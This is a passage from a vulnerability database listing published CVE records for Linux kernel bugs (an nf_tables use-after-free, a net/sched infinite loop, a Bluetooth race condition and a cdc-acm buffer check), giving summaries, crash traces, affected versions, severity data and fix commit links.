nf_tables_trans_destroy_work+0x3f5/0x590 [nf_tables]\n[ 1360.548176]  kasan_report+0xae/0xe0\n[ 1360.548189]  ? nf_tables_trans_destroy_work+0x3f5/0x590 [nf_tables]\n[ 1360.548312]  nf_tables_trans_destroy_work+0x3f5/0x590 [nf_tables]\n[ 1360.548447]  ? __pfx_nf_tables_trans_destroy_work+0x10/0x10 [nf_tables]\n[ 1360.548577]  ? _raw_spin_unlock_irq+0x18/0x30\n[ 1360.548591]  process_one_work+0x2f1/0x670\n[ 1360.548610]  worker_thread+0x4d3/0x760\n[ 1360.548627]  ? __pfx_worker_thread+0x10/0x10\n[ 1360.548640]  kthread+0x16b/0x1b0\n[ 1360.548653]  ? __pfx_kthread+0x10/0x10\n[ 1360.548665]  ret_from_fork+0x2f/0x50\n[ 1360.548679]  ? __pfx_kthread+0x10/0x10\n[ 1360.548690]  ret_from_fork_asm+0x1a/0x30\n[ 1360.548707]  \u003c/TASK\u003e\n\n[ 1360.548719] Allocated by task 192061:\n[ 1360.548726]  kasan_save_stack+0x20/0x40\n[ 1360.548739]  kasan_save_track+0x14/0x30\n[ 1360.548750]  __kasan_kmalloc+0x8f/0xa0\n[ 1360.548760]  __kmalloc_node+0x1f1/0x450\n[ 1360.548771]  nf_tables_newset+0x10c7/0x1b50 [nf_tables]\n[ 1360.548883]  nfnetlink_rcv_batch+0xbc4/0xdc0 [nfnetlink]\n[ 1360.548909]  nfnetlink_rcv+0x1a8/0x1e0 [nfnetlink]\n[ 1360.548927]  netlink_unicast+0x367/0x4f0\n[ 1360.548935]  netlink_sendmsg+0x34b/0x610\n[ 1360.548944]  ____sys_sendmsg+0x4d4/0x510\n[ 1360.548953]  ___sys_sendmsg+0xc9/0x120\n[ 1360.548961]  __sys_sendmsg+0xbe/0x140\n[ 1360.548971]  do_syscall_64+0x55/0x120\n[ 1360.548982]  entry_SYSCALL_64_after_hwframe+0x55/0x5d\n\n[ 1360.548994] Freed by task 192222:\n[ 1360.548999]  kasan_save_stack+0x20/0x40\n[ 1360.549009]  kasan_save_track+0x14/0x30\n[ 1360.549019]  kasan_save_free_info+0x3b/0x60\n[ 1360.549028]  poison_slab_object+0x100/0x180\n[ 1360.549036]  __kasan_slab_free+0x14/0x30\n[ 1360.549042]  kfree+0xb6/0x260\n[ 1360.549049]  __nft_release_table+0x473/0x6a0 [nf_tables]\n[ 1360.549131]  nf_tables_exit_net+0x170/0x240 [nf_tables]\n[ 1360.549221]  ops_exit_list+0x50/0xa0\n[ 1360.549229]  free_exit_list+0x101/0x140\n[ 1360.549236]  unregister_pernet_operations+0x107/0x160\n[ 1360.549245]  unregister_pernet_subsys+0x1c/0x30\n[ 1360.549254]  nf_tables_module_exit+0x43/0x80 [nf_tables]\n[ 1360.549345]  __do_sys_delete_module+0x253/0x370\n[ 1360.549352]  do_syscall_64+0x55/0x120\n[ 1360.549360]  entry_SYSCALL_64_after_hwframe+0x55/0x5d\n\n(gdb) list *__nft_release_table+0x473\n0x1e033 is in __nft_release_table (net/netfilter/nf_tables_api.c:11354).\n11349           list_for_each_entry_safe(flowtable, nf, \u0026table-\u003eflowtables, list) {\n11350                   list_del(\u0026flowtable-\u003elist);\n11351                   nft_use_dec(\u0026table-\u003euse);\n11352                   nf_tables_flowtable_destroy(flowtable);\n11353           }\n11354           list_for_each_entry_safe(set, ns, \u0026table-\u003esets, list) {\n11355                   list_del(\u0026set-\u003elist);\n11356                   nft_use_dec(\u0026table-\u003euse);\n11357                   if (set-\u003eflags \u0026 (NFT_SET_MAP | NFT_SET_OBJECT))\n11358                           nft_map_deactivat\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:24.384Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f4e14695fe805eb0f0cb36e0ad6a560b9f985e86"
        },
        {
          "url": "https://git.kernel.org/stable/c/46c4481938e2ca62343b16ea83ab28f4c1733d31"
        },
        {
          "url": "https://git.kernel.org/stable/c/f7e3c88cc2a977c2b9a8aa52c1ce689e7b394e49"
        },
        {
          "url": "https://git.kernel.org/stable/c/4e8447a9a3d367b5065a0b7abe101da6e0037b6e"
        },
        {
          "url": "https://git.kernel.org/stable/c/333b5085522cf1898d5a0d92616046b414f631a7"
        },
        {
          "url": "https://git.kernel.org/stable/c/d2c9eb19fc3b11caebafde4c30a76a49203d18a6"
        },
        {
          "url": "https://git.kernel.org/stable/c/24cea9677025e0de419989ecb692acd4bb34cac2"
        }
      ],
      "title": "netfilter: nf_tables: flush pending destroy work before exit_net release",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35899",
    "datePublished": "2024-05-19T08:34:53.267Z",
    "dateReserved": "2024-05-17T13:50:33.114Z",
    "dateUpdated": "2026-05-12T11:52:35.424Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40995 (GCVE-0-2024-40995)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:37 – Updated: 2026-05-12 11:56

Title

net/sched: act_api: fix possible infinite loop in tcf_idr_check_alloc()

Summary

In the Linux kernel, the following vulnerability has been resolved: net/sched: act_api: fix possible infinite loop in tcf_idr_check_alloc() syzbot found hanging tasks waiting on rtnl_lock [1] A reproducer is available in the syzbot bug. When a request to add multiple actions with the same index is sent, the second request will block forever on the first request. This holds rtnl_lock, and causes tasks to hang. Return -EAGAIN to prevent infinite looping, while keeping documented behavior. [1] INFO: task kworker/1:0:5088 blocked for more than 143 seconds. Not tainted 6.9.0-rc4-syzkaller-00173-g3cdb45594619 #0 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. task:kworker/1:0 state:D stack:23744 pid:5088 tgid:5088 ppid:2 flags:0x00004000 Workqueue: events_power_efficient reg_check_chans_work Call Trace: <TASK> context_switch kernel/sched/core.c:5409 [inline] __schedule+0xf15/0x5d00 kernel/sched/core.c:6746 __schedule_loop kernel/sched/core.c:6823 [inline] schedule+0xe7/0x350 kernel/sched/core.c:6838 schedule_preempt_disabled+0x13/0x30 kernel/sched/core.c:6895 __mutex_lock_common kernel/locking/mutex.c:684 [inline] __mutex_lock+0x5b8/0x9c0 kernel/locking/mutex.c:752 wiphy_lock include/net/cfg80211.h:5953 [inline] reg_leave_invalid_chans net/wireless/reg.c:2466 [inline] reg_check_chans_work+0x10a/0x10e0 net/wireless/reg.c:2481

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/0d8a2d287c8a394c0…
https://git.kernel.org/stable/c/c6a7da65a29674553…
https://git.kernel.org/stable/c/25987a97eec4d5f89…
https://git.kernel.org/stable/c/6fc78d67f51aeb9a5…
https://git.kernel.org/stable/c/5f926aa96b08b6c47…
https://git.kernel.org/stable/c/7a0e497b597df7c4c…
https://git.kernel.org/stable/c/d864319871b05fadd…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 0190c1d452a91c38a3462abdd81752be1b9006a8 , < 0d8a2d287c8a394c0d4653f0c6c7be4c688e5a74 (git) Affected: 0190c1d452a91c38a3462abdd81752be1b9006a8 , < c6a7da65a296745535a964be1019ec7691b0cb90 (git) Affected: 0190c1d452a91c38a3462abdd81752be1b9006a8 , < 25987a97eec4d5f897cd04ee1b45170829c610da (git) Affected: 0190c1d452a91c38a3462abdd81752be1b9006a8 , < 6fc78d67f51aeb9a542d39a8714e16bc411582d4 (git) Affected: 0190c1d452a91c38a3462abdd81752be1b9006a8 , < 5f926aa96b08b6c47178fe1171e7ae331c695fc2 (git) Affected: 0190c1d452a91c38a3462abdd81752be1b9006a8 , < 7a0e497b597df7c4cf2b63fc6e9188b6cabe5335 (git) Affected: 0190c1d452a91c38a3462abdd81752be1b9006a8 , < d864319871b05fadd153e0aede4811ca7008f5d6 (git)
Linux	Linux	Affected: 4.19 Unaffected: 0 , < 4.19 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:59.618Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0d8a2d287c8a394c0d4653f0c6c7be4c688e5a74"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c6a7da65a296745535a964be1019ec7691b0cb90"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/25987a97eec4d5f897cd04ee1b45170829c610da"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6fc78d67f51aeb9a542d39a8714e16bc411582d4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5f926aa96b08b6c47178fe1171e7ae331c695fc2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7a0e497b597df7c4cf2b63fc6e9188b6cabe5335"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d864319871b05fadd153e0aede4811ca7008f5d6"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40995",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:01:35.312165Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:19.797Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:06.952Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sched/act_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0d8a2d287c8a394c0d4653f0c6c7be4c688e5a74",
              "status": "affected",
              "version": "0190c1d452a91c38a3462abdd81752be1b9006a8",
              "versionType": "git"
            },
            {
              "lessThan": "c6a7da65a296745535a964be1019ec7691b0cb90",
              "status": "affected",
              "version": "0190c1d452a91c38a3462abdd81752be1b9006a8",
              "versionType": "git"
            },
            {
              "lessThan": "25987a97eec4d5f897cd04ee1b45170829c610da",
              "status": "affected",
              "version": "0190c1d452a91c38a3462abdd81752be1b9006a8",
              "versionType": "git"
            },
            {
              "lessThan": "6fc78d67f51aeb9a542d39a8714e16bc411582d4",
              "status": "affected",
              "version": "0190c1d452a91c38a3462abdd81752be1b9006a8",
              "versionType": "git"
            },
            {
              "lessThan": "5f926aa96b08b6c47178fe1171e7ae331c695fc2",
              "status": "affected",
              "version": "0190c1d452a91c38a3462abdd81752be1b9006a8",
              "versionType": "git"
            },
            {
              "lessThan": "7a0e497b597df7c4cf2b63fc6e9188b6cabe5335",
              "status": "affected",
              "version": "0190c1d452a91c38a3462abdd81752be1b9006a8",
              "versionType": "git"
            },
            {
              "lessThan": "d864319871b05fadd153e0aede4811ca7008f5d6",
              "status": "affected",
              "version": "0190c1d452a91c38a3462abdd81752be1b9006a8",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sched/act_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.19"
            },
            {
              "lessThan": "4.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_api: fix possible infinite loop in tcf_idr_check_alloc()\n\nsyzbot found hanging tasks waiting on rtnl_lock [1]\n\nA reproducer is available in the syzbot bug.\n\nWhen a request to add multiple actions with the same index is sent, the\nsecond request will block forever on the first request. This holds\nrtnl_lock, and causes tasks to hang.\n\nReturn -EAGAIN to prevent infinite looping, while keeping documented\nbehavior.\n\n[1]\n\nINFO: task kworker/1:0:5088 blocked for more than 143 seconds.\nNot tainted 6.9.0-rc4-syzkaller-00173-g3cdb45594619 #0\n\"echo 0 \u003e /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\ntask:kworker/1:0 state:D stack:23744 pid:5088 tgid:5088 ppid:2 flags:0x00004000\nWorkqueue: events_power_efficient reg_check_chans_work\nCall Trace:\n\u003cTASK\u003e\ncontext_switch kernel/sched/core.c:5409 [inline]\n__schedule+0xf15/0x5d00 kernel/sched/core.c:6746\n__schedule_loop kernel/sched/core.c:6823 [inline]\nschedule+0xe7/0x350 kernel/sched/core.c:6838\nschedule_preempt_disabled+0x13/0x30 kernel/sched/core.c:6895\n__mutex_lock_common kernel/locking/mutex.c:684 [inline]\n__mutex_lock+0x5b8/0x9c0 kernel/locking/mutex.c:752\nwiphy_lock include/net/cfg80211.h:5953 [inline]\nreg_leave_invalid_chans net/wireless/reg.c:2466 [inline]\nreg_check_chans_work+0x10a/0x10e0 net/wireless/reg.c:2481"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:23:58.112Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0d8a2d287c8a394c0d4653f0c6c7be4c688e5a74"
        },
        {
          "url": "https://git.kernel.org/stable/c/c6a7da65a296745535a964be1019ec7691b0cb90"
        },
        {
          "url": "https://git.kernel.org/stable/c/25987a97eec4d5f897cd04ee1b45170829c610da"
        },
        {
          "url": "https://git.kernel.org/stable/c/6fc78d67f51aeb9a542d39a8714e16bc411582d4"
        },
        {
          "url": "https://git.kernel.org/stable/c/5f926aa96b08b6c47178fe1171e7ae331c695fc2"
        },
        {
          "url": "https://git.kernel.org/stable/c/7a0e497b597df7c4cf2b63fc6e9188b6cabe5335"
        },
        {
          "url": "https://git.kernel.org/stable/c/d864319871b05fadd153e0aede4811ca7008f5d6"
        }
      ],
      "title": "net/sched: act_api: fix possible infinite loop in tcf_idr_check_alloc()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40995",
    "datePublished": "2024-07-12T12:37:37.791Z",
    "dateReserved": "2024-07-12T12:17:45.607Z",
    "dateUpdated": "2026-05-12T11:56:06.952Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-24859 (GCVE-0-2024-24859)

Vulnerability from cvelistv5 – Published: 2024-02-05 07:28 – Updated: 2026-05-12 11:49

Title

Race condition vulnerability in Linux kernel bluetooth sniff_{min,max}_interval_set()

Summary

A race condition was found in the Linux kernel's net/bluetooth in sniff_{min,max}_interval_set() function. This can result in a bluetooth sniffing exception issue, possibly leading denial of service.

Severity ?

4.6 (Medium)


                        
                          CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:H

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

Anolis

References

1 reference

URL	Tags
https://bugzilla.openanolis.cn/show_bug.cgi?id=8153

Impacted products

1 product

Vendor	Product	Version
Linux	Linux kernel	Affected: v4.0-rc1 , < v6.8-rc2 (custom)

Credits

白家驹 <baijiaju@buaa.edu.cn> 韩桂栋 <hanguidong@buaa.edu.cn>

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-24859",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-02-05T15:33:58.445018Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:21:25.429Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T23:28:12.892Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=8153"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:16.788Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "modules": [
            "bluetooth"
          ],
          "packageName": "kernel",
          "platforms": [
            "Linux",
            "x86",
            "ARM"
          ],
          "product": "Linux kernel",
          "programFiles": [
            "https://gitee.com/anolis/cloud-kernel/blob/devel-5.10/net/bluetooth/hci_debugfs.c"
          ],
          "repo": "https://gitee.com/anolis/cloud-kernel.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "v6.8-rc2",
              "status": "affected",
              "version": "v4.0-rc1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "\u767d\u5bb6\u9a79 \u003cbaijiaju@buaa.edu.cn\u003e"
        },
        {
          "lang": "en",
          "type": "reporter",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "\u97e9\u6842\u680b \u003changuidong@buaa.edu.cn\u003e"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eA race condition was found in the Linux kernel\u0027s net/bluetooth in sniff_{min,max}_interval_set() function. This can result in a bluetooth sniffing exception issue, possibly leading denial of service.\u003cbr\u003e\u003c/p\u003e\n\n\n\n\n"
            }
          ],
          "value": "A race condition was found in the Linux kernel\u0027s net/bluetooth in sniff_{min,max}_interval_set() function. This can result in a bluetooth sniffing exception issue, possibly leading denial of service.\n\n\n\n\n\n\n\n"
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-26",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-26 Leveraging Race Conditions"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 4.6,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-362",
              "description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-02-05T07:28:06.115Z",
        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
      },
      "references": [
        {
          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=8153"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://lore.kernel.org/lkml/20231222162931.6553-1-2045gemini@gmail.com/\"\u003ehttps://lore.kernel.org/lkml/20231222162931.6553-1-2045gemini@gmail.com/\u003c/a\u003e\u003cbr\u003e"
            }
          ],
          "value": " https://lore.kernel.org/lkml/20231222162931.6553-1-2045gemini@gmail.com/ https://lore.kernel.org/lkml/20231222162931.6553-1-2045gemini@gmail.com/ \n"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Race condition vulnerability in Linux kernel bluetooth sniff_{min,max}_interval_set()",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2024-24859",
    "datePublished": "2024-02-05T07:28:06.115Z",
    "dateReserved": "2024-02-01T09:11:56.214Z",
    "dateUpdated": "2026-05-12T11:49:16.788Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21704 (GCVE-0-2025-21704)

Vulnerability from cvelistv5 – Published: 2025-02-22 09:43 – Updated: 2026-05-12 12:03

Title

usb: cdc-acm: Check control transfer buffer size before access

Summary

In the Linux kernel, the following vulnerability has been resolved: usb: cdc-acm: Check control transfer buffer size before access If the first fragment is shorter than struct usb_cdc_notification, we can't calculate an expected_size. Log an error and discard the notification instead of reading lengths from memory outside the received data, which can lead to memory corruption when the expected_size decreases between fragments, causing `expected_size - acm->nb_index` to wrap. This issue has been present since the beginning of git history; however, it only leads to memory corruption since commit ea2583529cd1 ("cdc-acm: reassemble fragmented notifications"). A mitigating factor is that acm_ctrl_irq() can only execute after userspace has opened /dev/ttyACM*; but if ModemManager is running, ModemManager will do that automatically depending on the USB device's vendor/product IDs and its other interfaces.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/a4e1ae5c053396417…
https://git.kernel.org/stable/c/90dd2f1b7342b9a67…
https://git.kernel.org/stable/c/871619c2b78fdfe05…
https://git.kernel.org/stable/c/7828e9363ac4d23b0…
https://git.kernel.org/stable/c/6abb510251e75f875…
https://git.kernel.org/stable/c/f64079bef6a8a7823…
https://git.kernel.org/stable/c/383d516a0ebc86413…
https://git.kernel.org/stable/c/e563b01208f4d1f60…
https://project-zero.issues.chromium.org/issues/3…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a4e1ae5c0533964170197e4fb4f33bc8c1db5cd2 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 90dd2f1b7342b9a671a5ea4160f408037b92b118 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 871619c2b78fdfe05afb4e8ba548678687beb812 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 7828e9363ac4d23b02419bf2a45b9f1d9fb35646 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 6abb510251e75f875797d8983a830e6731fa281c (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < f64079bef6a8a7823358c3f352ea29a617844636 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 383d516a0ebc8641372b521c8cb717f0f1834831 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e563b01208f4d1f609bcab13333b6c0e24ce6a01 (git)
